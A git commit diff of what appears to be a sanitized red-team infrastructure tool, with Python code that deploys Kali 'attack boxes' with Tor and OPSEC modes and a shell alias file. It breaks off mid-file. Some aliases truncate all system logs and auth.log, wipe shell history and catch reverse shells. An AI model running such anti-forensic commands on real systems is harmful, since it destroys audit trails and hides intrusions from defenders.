Initial public portfolio release
Sanitized version of red team infrastructure automation platform. Operational content (implant pipelines, lures, credential capture) replaced with documented stubs. Architecture and infrastructure automation code intact.
This commit is contained in:
Operator
@@ -0,0 +1,444 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Attack Box deployment module
|
||||
Deploy hardened attack boxes for initial access, manual testing, and reconnaissance
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
import glob
|
||||
|
||||
# Add the project root to the path so we can import utils
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
|
||||
from utils.common import (
|
||||
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||
setup_logging, get_public_ip, confirm_action, wait_for_input,
|
||||
archive_old_logs
|
||||
)
|
||||
from utils.provider_utils import select_provider, gather_provider_config
|
||||
from utils.ssh_utils import generate_ssh_key
|
||||
from utils.name_generator import generate_attack_box_name
|
||||
from utils.naming_utils import get_deployment_name_with_options, show_naming_relationship
|
||||
|
||||
def attack_box_menu():
|
||||
"""Display the attack box deployment menu"""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}ATTACK BOX DEPLOYMENT{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}====================={COLORS['RESET']}")
|
||||
print(f"1) Deploy Quick Recon Box {COLORS['GREEN']}*FAST*{COLORS['RESET']} {COLORS['GRAY']}(Kali + Basic Tools - ~2-3 min){COLORS['RESET']}")
|
||||
print(f"2) Deploy Kali Attack Box {COLORS['GRAY']}(Full Tools & Setup - ~15-20 min){COLORS['RESET']}")
|
||||
print(f"3) Deploy Custom Ubuntu Attack Box")
|
||||
print(f"99) Return to Main Menu")
|
||||
|
||||
choice = input(f"\nSelect an option: ")
|
||||
|
||||
if choice == "1":
|
||||
deploy_quick_recon_box()
|
||||
elif choice == "2":
|
||||
deploy_kali_attack_box()
|
||||
elif choice == "3":
|
||||
deploy_ubuntu_attack_box()
|
||||
elif choice == "99":
|
||||
return
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
# Quick Recon Box now uses the regular attack box deployment with minimal settings
|
||||
|
||||
def gather_attack_box_parameters(attack_box_type="kali"):
|
||||
"""Collect parameters specific to attack box deployments"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}ATTACK BOX SETUP - {attack_box_type.upper()}{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}{'=' * (20 + len(attack_box_type))}{COLORS['RESET']}")
|
||||
|
||||
config = {}
|
||||
|
||||
# Generate deployment ID
|
||||
config['deployment_id'] = generate_deployment_id()
|
||||
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||
|
||||
# Provider selection
|
||||
provider = select_provider()
|
||||
if not provider:
|
||||
return None
|
||||
config['provider'] = provider
|
||||
|
||||
# Get provider-specific configuration
|
||||
provider_config = gather_provider_config(provider)
|
||||
if not provider_config:
|
||||
return None
|
||||
config.update(provider_config)
|
||||
|
||||
# Attack box specific configuration
|
||||
print(f"\n{COLORS['BLUE']}Attack Box Configuration{COLORS['RESET']}")
|
||||
|
||||
# Set deployment type
|
||||
config['deployment_type'] = 'attack_box'
|
||||
|
||||
# Attack box type
|
||||
config['attack_box_type'] = attack_box_type
|
||||
|
||||
# Attack box name with common naming options
|
||||
config['attack_box_name'] = get_deployment_name_with_options(
|
||||
deployment_type='attack_box',
|
||||
deployment_id=config['deployment_id'],
|
||||
prefix='a-'
|
||||
)
|
||||
|
||||
# Attack box image mapping
|
||||
if attack_box_type == "kali":
|
||||
config['attack_box_image'] = "linode/kali"
|
||||
elif attack_box_type == "ubuntu":
|
||||
config['attack_box_image'] = "linode/ubuntu22.04"
|
||||
else:
|
||||
config['attack_box_image'] = "linode/ubuntu22.04" # Default fallback
|
||||
|
||||
# Instance sizing based on attack box type
|
||||
print(f"\n{COLORS['GREEN']}Instance Size Selection:{COLORS['RESET']}")
|
||||
print(f"1) Small (2 CPU, 4GB RAM) - Basic reconnaissance")
|
||||
print(f"2) Medium (4 CPU, 8GB RAM) - Standard penetration testing")
|
||||
print(f"3) Large (8 CPU, 16GB RAM) - Heavy exploitation/cracking")
|
||||
print(f"4) XLarge (16 CPU, 32GB RAM) - Advanced research/development")
|
||||
|
||||
size_choice = input(f"Select instance size [2]: ").strip() or "2"
|
||||
size_mapping = {
|
||||
"1": {"type": "g6-standard-2", "name": "small"},
|
||||
"2": {"type": "g6-standard-4", "name": "medium"},
|
||||
"3": {"type": "g6-standard-8", "name": "large"},
|
||||
"4": {"type": "g6-standard-16", "name": "xlarge"}
|
||||
}
|
||||
|
||||
if size_choice in size_mapping:
|
||||
config['instance_size'] = size_mapping[size_choice]['name']
|
||||
if provider == "linode":
|
||||
config['linode_instance_type'] = size_mapping[size_choice]['type']
|
||||
else:
|
||||
config['instance_size'] = "medium"
|
||||
config['linode_instance_type'] = "g6-standard-4"
|
||||
|
||||
# SSH key generation using attack box name for consistency
|
||||
ssh_key_path = generate_ssh_key(config['attack_box_name'])
|
||||
if ssh_key_path:
|
||||
config['ssh_key_path'] = ssh_key_path + ".pub"
|
||||
print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||
return None
|
||||
|
||||
# Additional tools selection
|
||||
print(f"\n{COLORS['BLUE']}Additional Tools & Features:{COLORS['RESET']}")
|
||||
|
||||
# Custom domain for C2 comms (optional)
|
||||
domain = input(f"Domain for attack box (optional, for C2 comms): ").strip()
|
||||
if domain:
|
||||
config['domain'] = domain
|
||||
config['setup_domain'] = True
|
||||
else:
|
||||
config['setup_domain'] = False
|
||||
|
||||
# VPN setup
|
||||
setup_vpn = input(f"Setup VPN server on attack box? [y/N]: ").strip().lower()
|
||||
config['setup_vpn'] = setup_vpn in ['y', 'yes']
|
||||
|
||||
# Tor setup
|
||||
setup_tor = input(f"Setup Tor proxy? [y/N]: ").strip().lower()
|
||||
config['setup_tor'] = setup_tor in ['y', 'yes']
|
||||
|
||||
# Custom wordlists
|
||||
custom_wordlists = input(f"Download custom wordlists? [y/N]: ").strip().lower()
|
||||
config['custom_wordlists'] = custom_wordlists in ['y', 'yes']
|
||||
|
||||
# Set operator IP for security
|
||||
config['operator_ip'] = get_public_ip()
|
||||
if config['operator_ip']:
|
||||
print(f"{COLORS['GREEN']}Detected operator IP: {config['operator_ip']}{COLORS['RESET']}")
|
||||
|
||||
# SSH after deploy
|
||||
ssh_after = input(f"\nSSH to attack box after deployment? [Y/n]: ").strip().lower()
|
||||
config['ssh_after_deploy'] = ssh_after not in ['n', 'no']
|
||||
|
||||
# Auto-teardown on failure option
|
||||
print(f"\n{COLORS['BLUE']}Deployment Options:{COLORS['RESET']}")
|
||||
|
||||
# Enhanced OPSEC mode
|
||||
opsec_mode = input(f"Enable enhanced OPSEC mode? (for sensitive operations) [y/N]: ").strip().lower()
|
||||
config['enhanced_opsec'] = opsec_mode in ['y', 'yes']
|
||||
|
||||
if config['enhanced_opsec']:
|
||||
print(f"{COLORS['YELLOW']}🔒 Enhanced OPSEC mode enabled:{COLORS['RESET']}")
|
||||
print(f" • Working directory: /root/{config['deployment_id']} (not 'operator')")
|
||||
print(f" • No 'trashpanda' references in files or aliases")
|
||||
print(f" • Generic script names and comments")
|
||||
print(f" • Minimal logging and history")
|
||||
print(f" • No obvious pentesting tool signatures in configs")
|
||||
config['work_dir'] = f"/root/{config['deployment_id']}"
|
||||
config['tool_name'] = "toolkit"
|
||||
config['project_name'] = config['deployment_id']
|
||||
else:
|
||||
print(f"{COLORS['CYAN']}💡 Standard mode - using TrashPanda branding and structure{COLORS['RESET']}")
|
||||
config['work_dir'] = "/root/operator"
|
||||
config['tool_name'] = "trashpanda"
|
||||
config['project_name'] = "operator"
|
||||
|
||||
# Check for global auto-teardown flag
|
||||
global_auto_teardown = os.environ.get('C2ITALL_AUTO_TEARDOWN', '').lower() == 'true'
|
||||
|
||||
if global_auto_teardown:
|
||||
config['auto_teardown_on_fail'] = True
|
||||
print(f"{COLORS['YELLOW']}⚠️ Auto-teardown enabled globally - failed deployments will be cleaned up automatically{COLORS['RESET']}")
|
||||
else:
|
||||
auto_teardown = input(f"Auto-teardown on deployment failure? (for testing/overnight runs) [y/N]: ").strip().lower()
|
||||
config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes']
|
||||
|
||||
if config['auto_teardown_on_fail']:
|
||||
print(f"{COLORS['YELLOW']}⚠️ Auto-teardown enabled - failed deployments will be cleaned up automatically{COLORS['RESET']}")
|
||||
else:
|
||||
print(f"{COLORS['CYAN']}💡 Failed deployments will prompt for cleanup confirmation{COLORS['RESET']}")
|
||||
|
||||
# Set deployment type
|
||||
config['deployment_type'] = f'{attack_box_type}_attack_box'
|
||||
|
||||
return config
|
||||
|
||||
def deploy_kali_attack_box():
|
||||
"""Deploy Kali Linux attack box"""
|
||||
config = gather_attack_box_parameters("kali")
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['attack_box_image'] = 'linode/kali'
|
||||
config['default_user'] = 'root'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Kali Linux attack box...{COLORS['RESET']}")
|
||||
execute_attack_box_deployment(config)
|
||||
|
||||
def deploy_parrot_attack_box():
|
||||
"""Deploy Parrot Security attack box"""
|
||||
config = gather_attack_box_parameters("parrot")
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['attack_box_image'] = 'linode/debian11' # Will install Parrot tools
|
||||
config['default_user'] = 'root'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Parrot Security attack box...{COLORS['RESET']}")
|
||||
execute_attack_box_deployment(config)
|
||||
|
||||
def deploy_ubuntu_attack_box():
|
||||
"""Deploy custom Ubuntu attack box"""
|
||||
config = gather_attack_box_parameters("ubuntu")
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['attack_box_image'] = 'linode/ubuntu22.04'
|
||||
config['default_user'] = 'root'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Ubuntu attack box...{COLORS['RESET']}")
|
||||
execute_attack_box_deployment(config)
|
||||
|
||||
def deploy_quick_recon_box():
|
||||
"""Deploy streamlined attack box focused on OPSEC and initial reconnaissance"""
|
||||
config = gather_quick_recon_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['attack_box_image'] = 'linode/kali' # Kali Linux base
|
||||
config['default_user'] = 'root'
|
||||
config['deployment_type'] = 'quick_recon_box'
|
||||
config['attack_box_type'] = 'quick_recon'
|
||||
config['quick_deployment'] = True
|
||||
config['enhanced_opsec'] = True # Always enable OPSEC
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Quick Recon Box (minimal tools + OPSEC)...{COLORS['RESET']}")
|
||||
execute_attack_box_deployment(config)
|
||||
|
||||
def gather_quick_recon_parameters():
|
||||
"""Collect parameters for quick recon box deployment - streamlined"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}QUICK RECON BOX SETUP{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}====================={COLORS['RESET']}")
|
||||
print(f"{COLORS['CYAN']}Minimal deployment - basic tools + Tor + optional VPN{COLORS['RESET']}")
|
||||
print(f"{COLORS['GRAY']}• Kali Linux base with core tools (nmap, nc, curl, dig, whois, tor){COLORS['RESET']}")
|
||||
print(f"{COLORS['GRAY']}• Add whatever tools you need after deployment{COLORS['RESET']}")
|
||||
print(f"{COLORS['GRAY']}• Fast deployment - under 5 minutes{COLORS['RESET']}")
|
||||
|
||||
config = {}
|
||||
|
||||
# Generate deployment ID
|
||||
config['deployment_id'] = generate_deployment_id()
|
||||
print(f"\nDeployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||
|
||||
# Provider selection
|
||||
provider = select_provider()
|
||||
if not provider:
|
||||
return None
|
||||
config['provider'] = provider
|
||||
|
||||
# Get provider-specific configuration
|
||||
provider_config = gather_provider_config(provider)
|
||||
if not provider_config:
|
||||
return None
|
||||
config.update(provider_config)
|
||||
|
||||
# Quick recon specific configuration
|
||||
config['deployment_type'] = 'quick_recon_box'
|
||||
config['attack_box_type'] = 'quick_recon'
|
||||
|
||||
# Attack box name with recon prefix
|
||||
config['attack_box_name'] = get_deployment_name_with_options(
|
||||
deployment_type='quick_recon',
|
||||
deployment_id=config['deployment_id'],
|
||||
prefix='qr-'
|
||||
)
|
||||
|
||||
# Force small instance for speed and cost
|
||||
print(f"\n{COLORS['GREEN']}Instance: Small (2 CPU, 4GB RAM) - Optimized for recon{COLORS['RESET']}")
|
||||
config['instance_size'] = "small"
|
||||
if provider == "linode":
|
||||
config['linode_instance_type'] = "g6-standard-2"
|
||||
|
||||
# SSH key generation
|
||||
ssh_key_path = generate_ssh_key(config['attack_box_name'])
|
||||
if ssh_key_path:
|
||||
config['ssh_key_path'] = ssh_key_path + ".pub"
|
||||
print(f"{COLORS['GREEN']}SSH key generated: {ssh_key_path}{COLORS['RESET']}")
|
||||
else:
|
||||
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||
return None
|
||||
|
||||
# Minimal OPSEC configuration
|
||||
print(f"\n{COLORS['BLUE']}Quick OPSEC Configuration:{COLORS['RESET']}")
|
||||
|
||||
# Always enable Tor
|
||||
config['setup_tor'] = True
|
||||
print(f"✓ Tor proxy enabled (for anonymous operations)")
|
||||
|
||||
# Optional VPN
|
||||
setup_vpn = input(f"Setup VPN server? [y/N]: ").strip().lower()
|
||||
config['setup_vpn'] = setup_vpn in ['y', 'yes']
|
||||
|
||||
# No domain by default (keep minimal)
|
||||
config['setup_domain'] = False
|
||||
|
||||
# Set operator IP for security
|
||||
config['operator_ip'] = get_public_ip()
|
||||
if config['operator_ip']:
|
||||
print(f"{COLORS['GREEN']}Operator IP: {config['operator_ip']}{COLORS['RESET']}")
|
||||
|
||||
# SSH after deploy
|
||||
ssh_after = input(f"SSH after deployment? [Y/n]: ").strip().lower()
|
||||
config['ssh_after_deploy'] = ssh_after not in ['n', 'no']
|
||||
|
||||
# Enhanced OPSEC (always enabled)
|
||||
config['enhanced_opsec'] = True
|
||||
config['work_dir'] = f"/root/{config['deployment_id']}"
|
||||
config['tool_name'] = "toolkit"
|
||||
config['project_name'] = config['deployment_id']
|
||||
|
||||
# Auto-teardown option
|
||||
auto_teardown = input(f"Auto-teardown on failure? [y/N]: ").strip().lower()
|
||||
config['auto_teardown_on_fail'] = auto_teardown in ['y', 'yes']
|
||||
|
||||
# Set deployment flags
|
||||
config['default_user'] = 'root'
|
||||
config['attack_box_deployment'] = True
|
||||
config['ssh_user'] = 'root'
|
||||
|
||||
return config
|
||||
|
||||
def deploy_windows_attack_box():
|
||||
"""Deploy Windows attack box"""
|
||||
print(f"\n{COLORS['YELLOW']}Windows attack box deployment coming soon...{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}This will include Cobalt Strike, Metasploit, and Windows-specific tools{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
def deploy_multiple_attack_boxes():
|
||||
"""Deploy multiple attack boxes for large engagements"""
|
||||
print(f"\n{COLORS['BLUE']}Multiple Attack Box Deployment{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}This will deploy multiple attack boxes for distributed operations{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}Coming soon...{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
def execute_attack_box_deployment(config):
|
||||
"""Execute attack box infrastructure deployment"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"\n{COLORS['GREEN']}Starting attack box deployment...{COLORS['RESET']}")
|
||||
|
||||
# Set up logging (archiving is now handled globally)
|
||||
log_file = setup_logging(config['deployment_id'], "attack_box_deployment")
|
||||
|
||||
# Display configuration summary
|
||||
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||
print(f"Deployment Type: {config['deployment_type']}")
|
||||
print(f"Deployment ID: {config['deployment_id']}")
|
||||
print(f"Attack Box Name: {config['attack_box_name']}")
|
||||
|
||||
# Show naming relationship if attack box is named after another deployment
|
||||
naming_info = show_naming_relationship(
|
||||
config['attack_box_name'],
|
||||
config['deployment_id'],
|
||||
'attack_box'
|
||||
)
|
||||
if naming_info:
|
||||
print(f" └─ {naming_info['relationship_text']}")
|
||||
print(f" └─ {naming_info['purpose_text']}")
|
||||
|
||||
print(f"Provider: {config['provider']}")
|
||||
print(f"Attack Box Type: {config['attack_box_type']}")
|
||||
print(f"Instance Size: {config['instance_size']}")
|
||||
if config.get('domain'):
|
||||
print(f"Domain: {config['domain']}")
|
||||
print(f"VPN Setup: {'Yes' if config['setup_vpn'] else 'No'}")
|
||||
print(f"Tor Setup: {'Yes' if config['setup_tor'] else 'No'}")
|
||||
|
||||
# Show SSH key information
|
||||
if config.get('ssh_key_path'):
|
||||
ssh_key_name = os.path.basename(config['ssh_key_path']).replace('.pub', '')
|
||||
print(f"SSH Key: {ssh_key_name}")
|
||||
print(f" └─ Use: ssh -i ~/.ssh/{ssh_key_name} root@<ip>")
|
||||
|
||||
# Confirm deployment
|
||||
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with attack box deployment?{COLORS['RESET']}", default=True):
|
||||
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
# Set attack box deployment flag
|
||||
config['attack_box_deployment'] = True
|
||||
|
||||
# Execute the actual deployment using the deployment engine
|
||||
from utils.deployment_engine import deploy_infrastructure
|
||||
success = deploy_infrastructure(config)
|
||||
|
||||
if success:
|
||||
print(f"\n{COLORS['GREEN']}Attack box deployed successfully!{COLORS['RESET']}")
|
||||
|
||||
# Display credentials file location
|
||||
credentials_file = f"logs/deployment_info_{config['deployment_id']}.txt"
|
||||
if os.path.exists(credentials_file):
|
||||
print(f"\n{COLORS['CYAN']}📁 Credentials saved to: {credentials_file}{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}⚠️ Keep this file secure - it contains your root password!{COLORS['RESET']}")
|
||||
|
||||
print(f"\n{COLORS['CYAN']}Next Steps:{COLORS['RESET']}")
|
||||
print(f"1. SSH to your attack box using the saved credentials")
|
||||
print(f"2. Run initial security updates")
|
||||
print(f"3. Configure VPN if enabled")
|
||||
print(f"4. Begin reconnaissance")
|
||||
|
||||
if config.get('ssh_after_deploy'):
|
||||
from utils.ssh_utils import ssh_to_instance
|
||||
ssh_to_instance(config)
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Attack box deployment failed.{COLORS['RESET']}")
|
||||
|
||||
wait_for_input()
|
||||
|
||||
if __name__ == "__main__":
|
||||
attack_box_menu()
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
# Attack Box Configuration
|
||||
# ========================
|
||||
|
||||
# Attack Box Setup Information
|
||||
ATTACK_BOX_VERSION="1.0.0"
|
||||
WORKSPACE_DIR="/root/operator"
|
||||
SCRIPTS_DIR="/root/operator/tools/scripts"
|
||||
TOOLS_DIR="/root/operator/tools"
|
||||
|
||||
# Available Commands
|
||||
echo "Attack Box Commands:"
|
||||
echo "==================="
|
||||
echo "recon <target> - Run reconnaissance automation"
|
||||
echo "portscan <target> - Run port scan automation"
|
||||
echo "webenum <target> - Run web enumeration automation"
|
||||
echo "attack-menu - Launch manual testing menu"
|
||||
echo "operator - Change to main directory"
|
||||
echo "mkoperator <name> - Create new engagement structure"
|
||||
echo ""
|
||||
echo "Workspace Structure:"
|
||||
echo "==================="
|
||||
echo "~/operator/tools/ - All security tools and scripts"
|
||||
echo "~/operator/scans/ - All scan results organized by type"
|
||||
echo "~/operator/loot/ - Extracted data and credentials"
|
||||
echo "~/operator/targets/ - Target lists and reconnaissance"
|
||||
echo "~/operator/notes/ - Manual notes and observations"
|
||||
echo "~/operator/reports/ - Documentation and reporting"
|
||||
echo "~/operator/exploits/ - Working exploits and POCs"
|
||||
echo "~/operator/payloads/ - Custom payloads and shells"
|
||||
echo "~/operator/wordlists/ - Custom and downloaded wordlists"
|
||||
echo "~/operator/pcaps/ - Network captures and analysis"
|
||||
echo ""
|
||||
echo "Trashpanda-style Directory Structure:"
|
||||
echo "====================================="
|
||||
echo "The operator directory follows the exact structure as TrashPanda tool"
|
||||
echo "with organized subdirectories for different scan types and data."
|
||||
@@ -0,0 +1,462 @@
|
||||
# OPSEC-Aware Shell Aliases for Attack Box
|
||||
# Clean configuration without identifiable information
|
||||
|
||||
# ─── GENERAL ALIASES ─────────────────────────────────────────────────────────
|
||||
|
||||
alias ll='ls -alFh --color=auto'
|
||||
alias la='ls -A --color=auto'
|
||||
alias l='ls -CF --color=auto'
|
||||
alias cls='clear'
|
||||
alias clr='clear'
|
||||
alias ..='cd ..'
|
||||
alias ...='cd ../..'
|
||||
alias ....='cd ../../..'
|
||||
alias grep='grep --color=auto'
|
||||
alias egrep='egrep --color=auto'
|
||||
alias fgrep='fgrep --color=auto'
|
||||
|
||||
# File operations with safety
|
||||
alias cp='cp -i'
|
||||
alias mv='mv -i'
|
||||
alias rm='rm -i'
|
||||
|
||||
# ─── OPSEC ALIASES ───────────────────────────────────────────────────────────
|
||||
|
||||
# Network checks
|
||||
alias myip='curl -s ifconfig.me'
|
||||
alias checkip='curl -s https://ipinfo.io/ip'
|
||||
alias checkdns='cat /etc/resolv.conf'
|
||||
alias ports='netstat -tulanp'
|
||||
alias listen='lsof -i -P | grep LISTEN'
|
||||
alias estab='lsof -i -P | grep ESTABLISHED'
|
||||
|
||||
# Process and connection monitoring
|
||||
alias checkcon='ss -tupan | grep ESTABLISHED'
|
||||
alias checklis='ss -tupan | grep LISTEN'
|
||||
alias checkproc='ps auxf | grep -v grep | grep'
|
||||
alias psg='ps aux | grep -v grep | grep -i'
|
||||
alias pscpu='ps auxf | sort -nr -k 3'
|
||||
alias psmem='ps auxf | sort -nr -k 4'
|
||||
|
||||
# Emergency and cleanup
|
||||
alias panic='emergency-wipe.sh'
|
||||
alias emergency-wipe='emergency-wipe.sh'
|
||||
alias killcon='killall -9 openvpn ssh sshd nc ncat socat 2>/dev/null'
|
||||
alias clean='trash-cleanup.sh'
|
||||
alias opsec='opsec-check.sh'
|
||||
|
||||
# Cleanup operations
|
||||
alias wipe-free='sudo sfill -v /'
|
||||
alias clear-logs='sudo find /var/log -type f -exec truncate -s 0 {} \;'
|
||||
alias clear-history='history -c && > ~/.bash_history && > ~/.zsh_history'
|
||||
alias clear-auth='sudo truncate -s 0 /var/log/auth.log'
|
||||
alias shred-file='shred -vfz -n 3'
|
||||
|
||||
# Anonymity
|
||||
alias anon-on='sudo systemctl start tor && . torsocks on'
|
||||
alias anon-off='. torsocks off && sudo systemctl stop tor'
|
||||
alias check-tor='curl -s https://check.torproject.org/api/ip'
|
||||
|
||||
# ─── NAVIGATION SHORTCUTS ────────────────────────────────────────────────────
|
||||
|
||||
alias ops='cd ~/ops'
|
||||
alias targets='cd ~/ops/targets'
|
||||
alias loot='cd ~/ops/loot'
|
||||
alias logs='cd ~/ops/logs'
|
||||
alias reports='cd ~/ops/reports'
|
||||
alias shells='cd ~/ops/shells'
|
||||
alias mount='cd ~/ops/mount'
|
||||
alias tools='cd ~/tools'
|
||||
alias www='cd /var/www/html'
|
||||
alias tmp='cd /tmp'
|
||||
alias payloads='cd ~/ops/payloads'
|
||||
alias wordlists='cd ~/tools/wordlists'
|
||||
alias exploits='cd ~/ops/exploits'
|
||||
|
||||
# ─── QUICK SERVERS ───────────────────────────────────────────────────────────
|
||||
|
||||
alias serve='python3 -m http.server'
|
||||
alias serve80='sudo python3 -m http.server 80'
|
||||
alias servephp='php -S 0.0.0.0:8080'
|
||||
alias smbserv='impacket-smbserver share . -smb2support'
|
||||
alias ftpserv='python3 -m pyftpdlib -p 21 -w'
|
||||
|
||||
# ─── REVERSE SHELL CATCHERS ──────────────────────────────────────────────────
|
||||
|
||||
alias ncl='nc -nvlp'
|
||||
alias ncu='nc -nvu'
|
||||
alias socatl='socat TCP-LISTEN:$1,reuseaddr,fork -'
|
||||
alias rlwrapl='rlwrap nc -nvlp'
|
||||
|
||||
# ─── SSH TUNNEL SHORTCUTS ────────────────────────────────────────────────────
|
||||
|
||||
alias socks='function _socks() {
|
||||
local config_name="$1"
|
||||
local port="${2:-1080}"
|
||||
|
||||
if [ -z "$config_name" ]; then
|
||||
echo "Usage: socks <ssh-config-name> [port]"
|
||||
return 1
|
||||
fi
|
||||
|
||||
# Kill existing proxy
|
||||
lsof -ti:$port | xargs -r kill -9 2>/dev/null
|
||||
|
||||
# Start SSH SOCKS proxy
|
||||
ssh -D $port -N -f "$config_name" || return 1
|
||||
|
||||
# Create temp profile
|
||||
local temp_profile="/tmp/firefox-socks-$$"
|
||||
mkdir -p "$temp_profile"
|
||||
|
||||
# Add proxy settings
|
||||
cat > "$temp_profile/user.js" << EOF
|
||||
user_pref("network.proxy.type", 1);
|
||||
user_pref("network.proxy.socks", "localhost");
|
||||
user_pref("network.proxy.socks_port", $port);
|
||||
user_pref("network.proxy.socks_version", 5);
|
||||
user_pref("network.proxy.socks_remote_dns", true);
|
||||
EOF
|
||||
|
||||
# Use setsid to fully detach and preserve input
|
||||
setsid firefox --profile "$temp_profile" --no-remote https://httpbin.org/ip &
|
||||
|
||||
echo "✓ Firefox launched with SOCKS proxy"
|
||||
}; _socks'
|
||||
|
||||
# Enhanced stop function
|
||||
alias socks-stop='function _socks_stop() {
|
||||
local port="${1:-1080}"
|
||||
|
||||
echo -n "Stopping SOCKS proxy on port $port... "
|
||||
lsof -ti:$port | xargs -r kill -9 2>/dev/null && echo "OK" || echo "Not running"
|
||||
|
||||
# Clean up temp profiles
|
||||
rm -rf /tmp/firefox-socks-* 2>/dev/null
|
||||
}; _socks_stop'
|
||||
|
||||
# Local port forwarding - Access remote service on local port
|
||||
# Usage: ssh-local 8080 target.com 80 user@jumpbox
|
||||
ssh-local() {
|
||||
if [ $# -ne 4 ]; then
|
||||
echo "Usage: ssh-local <local-port> <remote-host> <remote-port> <ssh-server>"
|
||||
echo "Example: ssh-local 8080 10.10.10.1 80 user@jumpbox.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Creating local tunnel: localhost:$1 -> $2:$3 via $4"
|
||||
ssh -N -L $1:$2:$3 $4
|
||||
}
|
||||
|
||||
# Remote port forwarding - Expose local service to remote
|
||||
# Usage: ssh-remote 8080 localhost 80 user@public-server
|
||||
ssh-remote() {
|
||||
if [ $# -ne 4 ]; then
|
||||
echo "Usage: ssh-remote <remote-port> <local-host> <local-port> <ssh-server>"
|
||||
echo "Example: ssh-remote 8080 localhost 80 user@public-server.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Creating remote tunnel: $4:$1 -> $2:$3"
|
||||
ssh -N -R $1:$2:$3 $4
|
||||
}
|
||||
|
||||
# Dynamic SOCKS proxy
|
||||
# Usage: ssh-socks 1080 user@target
|
||||
ssh-socks() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: ssh-socks <local-port> <ssh-server>"
|
||||
echo "Example: ssh-socks 1080 user@target.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Creating SOCKS proxy on port $1 via $2"
|
||||
echo "[*] Configure browser/proxychains: socks5://127.0.0.1:$1"
|
||||
ssh -N -D $1 $2
|
||||
}
|
||||
|
||||
# Multi-hop SSH tunnel
|
||||
# Usage: ssh-multihop target.internal jumpbox.com
|
||||
ssh-multihop() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: ssh-multihop <final-target> <jumpbox>"
|
||||
echo "Example: ssh-multihop root@10.10.10.1 user@jumpbox.com"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Connecting to $1 via $2"
|
||||
ssh -J $2 $1
|
||||
}
|
||||
|
||||
# ─── SSHFS MOUNT SHORTCUTS ───────────────────────────────────────────────────
|
||||
|
||||
# Mount remote directory via SSHFS
|
||||
# Usage: ssh-mount user@host:/path /local/mount
|
||||
ssh-mount() {
|
||||
if [ $# -ne 2 ]; then
|
||||
echo "Usage: ssh-mount <user@host:/remote/path> <local-mount-point>"
|
||||
echo "Example: ssh-mount root@target.com:/var/www ~/ops/mount/www"
|
||||
return 1
|
||||
fi
|
||||
mkdir -p $2
|
||||
echo "[*] Mounting $1 to $2"
|
||||
sshfs -o allow_other,default_permissions $1 $2
|
||||
}
|
||||
|
||||
# Unmount SSHFS
|
||||
# Usage: ssh-unmount /local/mount
|
||||
ssh-unmount() {
|
||||
if [ $# -ne 1 ]; then
|
||||
echo "Usage: ssh-unmount <local-mount-point>"
|
||||
return 1
|
||||
fi
|
||||
echo "[*] Unmounting $1"
|
||||
fusermount -u $1
|
||||
}
|
||||
|
||||
# Mount with specific SSH key
|
||||
# Usage: ssh-mount-key user@host:/path /local/mount /path/to/key
|
||||
ssh-mount-key() {
|
||||
if [ $# -ne 3 ]; then
|
||||
echo "Usage: ssh-mount-key <user@host:/remote/path> <local-mount> <ssh-key>"
|
||||
return 1
|
||||
fi
|
||||
mkdir -p $2
|
||||
echo "[*] Mounting $1 to $2 using key $3"
|
||||
sshfs -o allow_other,default_permissions,IdentityFile=$3 $1 $2
|
||||
}
|
||||
|
||||
# ─── TOOL SHORTCUTS ──────────────────────────────────────────────────────────
|
||||
|
||||
# Metasploit
|
||||
alias msf='msfconsole -q'
|
||||
alias msfup='msfupdate'
|
||||
alias msfrpc='msfrpcd -U msf -P msf -a 127.0.0.1'
|
||||
|
||||
# Nmap shortcuts
|
